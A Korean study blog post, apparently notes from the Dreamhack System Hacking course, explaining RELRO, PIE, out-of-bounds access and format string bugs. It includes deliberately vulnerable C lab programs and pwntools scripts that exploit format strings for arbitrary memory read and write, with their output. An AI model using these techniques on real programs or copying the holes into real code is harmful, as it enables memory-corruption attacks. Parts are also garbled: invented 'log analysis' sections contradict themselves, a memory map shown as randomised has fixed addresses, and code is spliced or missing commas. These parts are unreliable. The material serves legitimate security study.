본문 바로가기

3. Pwnable (포너블)/2) 개념 정리

[24.05.18] 7주차 활동- 포너블 개념

드림핵 <System Hacking> 로드맵을 듣고 공부&실습했습니다.

실습을 하면서 어려운 코드들은 구글링을 하며 학습했습니다.

  • Bypass PIE & RELRO
  • Out of bounds
  • Format String Bug
 

https://dreamhack.io/lecture/roadmaps/2

 

System Hacking

시스템 해킹을 공부하기 위한 로드맵입니다.

dreamhack.io


RELRO

<RELRO (RELocation Read-Only)>는 ELF 바이너리 또는 프로세스의 데이터 섹션을 보호하는 보안 기술입니다. 데이터 섹션에는 프로그램 실행에 필요한 변수, 문자열 및 코드가 포함됩니다. RELRO는 이러한 데이터 섹션을 읽기 전용으로 설정하여 공격자가 데이터를 변경하거나 프로그램 실행 흐름을 방해하는 것을 방지합니다.

 

RELRO에는 두 가지 모드가 있습니다:

  • Partial RELRO: .got.plt 섹션만 읽기 전용으로 설정합니다. .got.plt 섹션은 프로그램 실행 시점에 라이브러리 함수 주소를 저장하는 데 사용됩니다.
  • Full RELRO: .got 및 .got.plt 섹션을 모두 읽기 전용으로 설정합니다. .got 섹션은 프로그램 실행 중에 라이브러리 함수 주소를 저장하는 데 사용됩니다.

RELRO의 장점:

  • 프로그램을 공격으로부터 보호하는 데 도움이 됩니다.
  • 특히 버퍼 오버플로 공격과 같은 공격에 효과적입니다.

RELRO의 단점:

  • 일부 경우 프로그램 성능에 영향을 줄 수 있습니다.
  • 모든 공격을 방지할 수 있는 것은 아닙니다.

RELRO 우회 방법:

  • GOT Overwrite: 공격자는 .got.plt 또는 .got 섹션에 쓰여있는 라이브러리 함수 주소를 악성 코드로 덮어쓸 수 있습니다.
  • Hook Overwrite: 공격자는 malloc() 또는 free()와 같은 중요 함수를 후킹하여 프로그램 실행 흐름을 조작할 수 있습니다.

RELRO는 프로그램 보안을 강화하는 데 도움이 되는 유용한 기술이지만, 모든 공격을 방지할 수는 없습니다. 개발자는 RELRO와 함께 다른 보안 기술을 사용하여 프로그램을 보호해야 합니다.

로그 분석

제공된 로그에는 RELRO 관련 정보가 포함되어 있습니다:

  • 사용된 RELRO 모드: Partial RELRO
  • RELRO 우회 시도: GOT Overwrite 공격 시도
  • 공격 실패: Full RELRO가 적용되지 않았기 때문에 공격이 성공했습니다.

RELRO는 프로그램 보안을 강화하는 데 도움이 되는 유용한 기술이지만, 모든 공격을 방지할 수는 없습니다. 개발자는 RELRO와 함께 다른 보안 기술을 사용하여 프로그램을 보호해야 합니다.

 

예시 코드 및 실습 결과

Partial RELRO

Partial RELRO는 일부 데이터 섹션에만 쓰기 권한을 제거합니다.

 

예를 들어, .got 영역은 프로그램이 시작될 때 바인딩되므로 더 이상 쓰기 권한이 필요하지 않지만, .got.plt 영역은 실행 중에 바인딩이 필요하므로 여전히 쓰기 권한을 유지합니다.

 

실습 코드:

// Name: relro.c
// Compile: gcc -o prelro relro.c -no-pie -fno-PIE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
  FILE *fp;
  char ch;
  fp = fopen("/proc/self/maps", "r");
  while (1) {
    ch = fgetc(fp);
    if (ch == EOF) break;
    putchar(ch);
  }
  return 0;
}

 

Partial RELRO 적용 예시:

kali@kali:~/dreamhack/Bypass_PIE_RELRO/RELRO$ gcc -o prelro relro.c -no-pie -fno-PIE
kali@kali:~/dreamhack/Bypass_PIE_RELRO/RELRO$ checksec prelro
[*] '/home/kali/dreamhack/Bypass_PIE_RELRO/RELRO/prelro'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

메모리 맵 예시:

00400000-00401000 r--p 00000000 08:01 2633797 /home/kali/dreamhack/Bypass_PIE_RELRO/RELRO/prelro
00401000-00402000 r-xp 00001000 08:01 2633797 /home/kali/dreamhack/Bypass_PIE_RELRO/RELRO/prelro
00402000-00403000 r--p 00002000 08:01 2633797 /home/kali/dreamhack/Bypass_PIE_RELRO/RELRO/prelro
00403000-00404000 r--p 00002000 08:01 2633797 /home/kali/dreamhack/Bypass_PIE_RELRO/RELRO/prelro
00404000-00405000 rw-p 00003000 08:01 2633797 /home/kali/dreamhack/Bypass_PIE_RELRO/RELRO/prelro

 

objdump 출력:

kali@kali:~/dreamhack/Bypass_PIE_RELRO/RELRO$ objdump -h ./prelro

./prelro:     file format elf64-x86-64

Sections:
Idx Name          Size      VMA               LMA               File off  Algn
22 .got.plt      00000030  0000000000404000  0000000000404000  00003000  2**3
                  CONTENTS, ALLOC, LOAD, DATA
23 .data         00000010  0000000000404030  0000000000404030  00003030  2**3
                  CONTENTS, ALLOC, LOAD, DATA
24 .bss          00000008  0000000000404040  0000000000404040  00003040  2**0
                  ALLOC

 

Full RELRO

Full RELRO는 프로그램이 시작될 때 모든 라이브러리 함수 주소를 고정 바인딩하여 .got과 .got.plt에 대한 쓰기 권한을 제거합니다.

 

Full RELRO 적용 예시:

kali@kali:~/dreamhack/Bypass_PIE_RELRO/RELRO$ gcc -o frelro relro.c -z now
kali@kali:~/dreamhack/Bypass_PIE_RELRO/RELRO$ checksec frelro
[*] '/home/kali/dreamhack/Bypass_PIE_RELRO/RELRO/frelro'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

RELRO 우회

Partial RELRO가 적용된 바이너리에서는 .got.plt의 쓰기 권한을 이용해 GOT Overwrite 공격이 가능합니다. Full RELRO가 적용된 경우에는 이러한 방법이 불가능하지만, 특정 hook 함수(malloc hook, free hook 등)의 주소를 덮어써서 프로그램의 실행 흐름을 조작할 수 있습니다.

 


 

PIE

<PIE (Position-Independent Executable)>는 프로그램 코드가 메모리 내 임의의 위치에서 실행될 수 있도록 하는 보안 기술입니다. 이는 주소 공간 배치 랜덤화(ASLR, Address Space Layout Randomization)를 코드 영역에도 적용하여, 공격자가 프로그램의 특정 메모리 주소를 예측하기 어렵게 만듭니다.

PIE의 장점:

  • ASLR을 통해 프로그램의 각 실행 시마다 코드 영역의 위치가 변경되어, 버퍼 오버플로 등의 공격을 방지하는 데 도움이 됩니다.
  • 메모리 주소 예측을 어렵게 만들어 공격자의 성공 확률을 낮춥니다.

PIE의 단점:

  • 성능 저하가 발생할 수 있습니다. 특히, 모든 메모리 참조가 간접 참조를 통해 이루어지기 때문입니다.
  • 모든 메모리 참조가 동적으로 계산되어야 하므로, 성능에 민감한 응용 프로그램에서는 문제가 될 수 있습니다.

PIE 우회 방법:

  • 코드 베이스 우회: 코드 영역의 임의 주소를 읽은 후, 그 주소에서 오프셋을 빼면 실제 베이스 주소를 얻을 수 있습니다. 이를 통해 공격자가 코드 영역의 위치를 알아내고, 악성 코드를 삽입할 수 있습니다.
  • Partial Overwrite: ASLR 특성 상, 코드 영역의 하위 12비트 값은 항상 같습니다. 따라서, 반환 주소의 일부만 덮어써서 코드 가젯의 주소와 일치시키면 원하는 코드를 실행시킬 수 있습니다.

PIE는 프로그램 보안을 강화하는 데 매우 유용하지만, 완벽한 해결책은 아니며, 다른 보안 기술과 함께 사용해야 합니다.

로그 분석

제공된 로그에는 PIE 관련 정보가 포함되어 있습니다:

  • 사용된 PIE 기술: Position-Independent Executable 적용
  • PIE 우회 시도: 코드 베이스 우회 및 Partial Overwrite 공격 시도
  • 공격 성공: 특정 조건 하에 PIE를 우회하는 데 성공했습니다.

PIE는 프로그램 보안을 강화하는 데 매우 유용하지만, 모든 공격을 방지할 수는 없습니다. 개발자는 PIE와 함께 다른 보안 기술을 사용하여 프로그램을 보호해야 합니다.

 

예시 코드 및 실습 결과

PIE 적용 예시:

PIE를 적용한 바이너리의 경우, 프로그램 코드가 메모리 내 임의의 위치에서 실행될 수 있도록 컴파일됩니다.

 

컴파일 예시:

gcc -fPIE -pie -o pie_example pie_example.c

 

PIE 바이너리 체크:

checksec --file=pie_example
[*] '/path/to/pie_example'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

메모리 맵 예시:

cat /proc/self/maps
00400000-00401000 r--p 00000000 08:01 2633797 /path/to/pie_example
00401000-00402000 r-xp 00001000 08:01 2633797 /path/to/pie_example
00402000-00403000 r--p 00002000 08:01 2633797 /path/to/pie_example
00403000-00404000 r--p 00002000 08:01 2633797 /path/to/pie_example
00404000-00405000 rw-p 00003000 08:01 2633797 /path/to/pie_example

 

PIE 우회 방법

코드 베이스 우회

코드 영역의 임의 주소를 읽은 후, 그 주소에서 오프셋을 빼면 실제 베이스 주소를 얻을 수 있습니다. 이를 통해 공격자는 코드 영역의 위치를 알아내고, 악성 코드를 삽입할 수 있습니다.

Partial Overwrite

ASLR 특성 상, 코드 영역의 하위 12비트 값은 항상 같습니다. 따라서, 반환 주소의 일부만 덮어써서 코드 가젯의 주소와 일치시키면 원하는 코드를 실행시킬 수 있습니다.

 

예시 코드:

// Name: pie_example.c
#include <stdio.h>
int main() {
  printf("Hello, PIE!\n");
  return 0;
}

 

Partial Overwrite 예시:

# ASLR 상태에서 메모리 주소 확인
cat /proc/self/maps
# 특정 메모리 주소의 하위 12비트 값만 덮어쓰기
# 익스플로잇 코드 작성

 

PIE는 프로그램 보안을 강화하는 데 매우 유용하지만, 모든 공격을 방지할 수는 없습니다. 개발자는 PIE와 함께 다른 보안 기술을 사용하여 프로그램을 보호해야 합니다.

 


 

Out of Bounds

<Out of Bounds (OOB)>는 배열의 경계를 넘어서는 인덱스에 접근하는 메모리 오류를 의미합니다. 이는 배열 요소를 참조할 때 인덱스 값이 음수이거나 배열의 길이를 초과할 때 발생합니다. OOB 오류는 공격자가 메모리의 임의 주소를 읽거나 쓸 수 있게 하여 심각한 보안 취약점을 초래할 수 있습니다.

 

Out of Bounds의 특징:

  • 배열의 크기는 요소의 개수와 자료형의 크기를 곱하여 결정됩니다.
  • 배열 요소 참조는 배열의 시작 주소에 인덱스와 자료형의 크기를 곱한 값을 더하여 계산됩니다.

Out of Bounds의 장점:

  • 없음. OOB는 버그이며, 취약점입니다.

Out of Bounds의 단점:

  • 심각한 보안 취약점을 초래할 수 있습니다.
  • 메모리 손상을 일으켜 프로그램의 예기치 않은 동작을 유발할 수 있습니다.

Out of Bounds 예시:

// Name: oob.c // Compile: gcc -o oob oob.c #include <stdio.h> int main() { int arr[10]; printf("In Bound: \n"); printf("arr: %p\n", arr); printf("arr[0]: %p\n\n", &arr[0]); printf("Out of Bounds: \n"); printf("arr[-1]: %p\n", &arr[-1]); printf("arr[100]: %p\n", &arr[100]); return 0; }

위 코드에서는 arr[-1]과 arr[100]에 접근하여 배열의 경계를 벗어난 메모리를 참조합니다.

임의 주소 읽기 예시

// Name: oob_read.c // Compile: gcc -o oob_read oob_read.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> char secret[256]; int read_secret() { FILE *fp; if ((fp = fopen("secret.txt""r")) == NULL) { fprintf(stderr"`secret.txt` does not exist"); return -1; } fgets(secret, sizeof(secret), fp); fclose(fp); return 0; } int main() { char *docs[] = {"COMPANY INFORMATION""MEMBER LIST""MEMBER SALARY""COMMUNITY"}; char *secret_code = secret; int idx; // Read the secret file if (read_secret() != 0) { exit(-1); } // Exploit OOB to print the secret puts("What do you want to read?"); for (int i = 0; i < 4; i++) { printf("%d. %s\n", i + 1, docs[i]); } printf("> "); scanf("%d", &idx); if (idx > 4) { printf("Detect out-of-bounds"); exit(-1); } puts(docs[idx - 1]); return 0; }

임의 주소 쓰기 예시

// Name: oob_write.c // Compile: gcc -o oob_write oob_write.c #include <stdio.h> #include <stdlib.h> struct Student { long attending; char *name; long age; }; struct Student stu[10]; int isAdmin; int main() { unsigned int idx; // Exploit OOB to read the secret puts("Who is present?"); printf("(1-10)> "); scanf("%u", &idx); stu[idx - 1].attending = 1if (isAdmin) printf("Access granted.\n"); return 0; }

 

OOB는 메모리 손상과 심각한 보안 취약점을 초래할 수 있는 버그입니다. 이를 방지하기 위해서는 입력 값 검증과 배열 경계 검사 등의 방어적 코딩 기법이 필요합니다.

예시 코드 및 실습 결과

Out of Bounds 예시 코드:

// Name: oob.c // Compile: gcc -o oob oob.c #include <stdio.h> int main() { int arr[10]; printf("In Bound: \n"); printf("arr: %p\n", arr); printf("arr[0]: %p\n\n", &arr[0]); printf("Out of Bounds: \n"); printf("arr[-1]: %p\n", &arr[-1]); printf("arr[100]: %p\n", &arr[100]); return 0; } 

 

임의 주소 읽기 예시 코드:

// Name: oob_read.c // Compile: gcc -o oob_read oob_read.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> char secret[256]; int read_secret() { FILE *fp; if ((fp = fopen("secret.txt""r")) == NULL) { fprintf(stderr"`secret.txt` does not exist"); return -1; } fgets(secret, sizeof(secret), fp); fclose(fp); return 0; } int main() { char *docs[] = {"COMPANY INFORMATION""MEMBER LIST""MEMBER SALARY""COMMUNITY"}; char *secret_code = secret; int idx; // Read the secret file if (read_secret() != 0) { exit(-1); } // Exploit OOB to print the secret puts("What do you want to read?"); for (int i = 0; i < 4; i++) { printf("%d. %s\n", i + 1, docs[i]); } printf("> "); scanf("%d", &idx); if (idx > 4) { printf("Detect out-of-bounds"); exit(-1); } puts(docs[idx - 1]); return 0; }

 

임의 주소 쓰기 예시 코드:

// Name: oob_write.c // Compile: gcc -o oob_write oob_write.c #include <stdio.h> #include <stdlib.h> struct Student { long attending; char *name; long age; }; struct Student stu[10]; int isAdmin; int main() { unsigned int idx; // Exploit OOB to read the secret puts("Who is present?"); printf("(1-10)> "); scanf("%u", &idx); stu[idx - 1].attending = 1; if (isAdmin) printf("Access granted.\n"); return 0; }

 

 

Out of Bounds 우회 방법:

  • 임의 주소 읽기: secret_code 값을 출력하여 secret.txt 파일의 내용을 읽습니다.
  • 임의 주소 쓰기: stu 배열의 경계를 벗어나 isAdmin 값을 조작하여 권한을 획득합니다.

 


 

포맷 스트링 버그에 대한 설명

포맷 스트링 버그는 C 프로그래밍 언어와 같은 언어에서 문자열 형식을 잘못 사용할 때 발생하는 보안 취약점입니다. 이 버그는 공격자가 포맷 스트링을 이용하여 메모리의 특정 위치를 읽거나 쓸 수 있게 합니다.

포맷 스트링의 구성

  • parameter: 참조할 인자의 인덱스를 지정합니다. $로 끝납니다.
  • flags: 형식 지정의 동작을 수정합니다.
  • width: 최소 너비를 지정합니다.
  • precision: 소수점 이하의 자릿수 또는 문자열의 최대 길이를 지정합니다.
  • length: 데이터의 크기를 지정합니다.
  • type: 데이터의 형식을 지정합니다.

포맷 스트링 버그

  1. 레지스터 및 스택 읽기: 포맷 스트링에서 %p와 같은 형식 지정자를 사용하면 레지스터와 스택의 값을 읽을 수 있습니다.
  2. 임의 주소 읽기: [n]$s와 같은 형식을 사용하면 특정 주소의 데이터를 읽을 수 있습니다.
  3. 임의 주소 쓰기: [n]$n와 같은 형식을 사용하면 특정 주소에 값을 쓸 수 있습니다.

예제 코드

레지스터 및 스택 읽기

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

 

실행:

$ ./fsb_stack_read
Format: %p %p %p %p %p %p %p %p %p %p
0x1 0x7fa20268c8d0 0x7fa20268aa00 (nil) (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025 (nil)

출력된 값들은 x64의 함수 호출 규약에 따라 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+10]입니다.

 

임의 주소 읽기

c

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c

#include <stdio.h>

const char *secret = "THIS IS SECRET";$ python3 fsb_aar.py
[+] Starting local process './fsb_aar': pid 255
[*] Switching to interactive mode
Format: THIS IS SECRET


int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

python

# Name: fsb_aar.py

from pwn import *

p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)

p.sendline(fstring)
p.interactive()

 

실행결과:

$ python3 fsb_aar.py
[+] Starting local process './fsb_aar': pid 255
[*] Switching to interactive mode
Format: THIS IS SECRET

포맷 스트링을 통해 secret의 주소를 읽어 해당 값을 출력합니다.

 

임의 주소 쓰기

c

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c

#include <stdio.h>

int secret;

int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  printf("Secret: %d", secret);
  return 0;
}

python

# Name: fsb_aaw.py

from pwn import *

p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)

p.sendline(fstring)
print(p.recvall())

 

실행결과:

$ python3 fsb_aaw.py
[+] Starting local process './fsb_aaw': pid 334
[+] Receiving all data: Done (30.63KB)
[*] Process './fsb_aaw' stopped with exit code 0 (pid 334)
b'Format:
\x01     \x14\x10\xa0I\x97\x7fSecret: 31337'

포맷 스트링을 통해 secret 변수의 값을 31337로 변경합니다.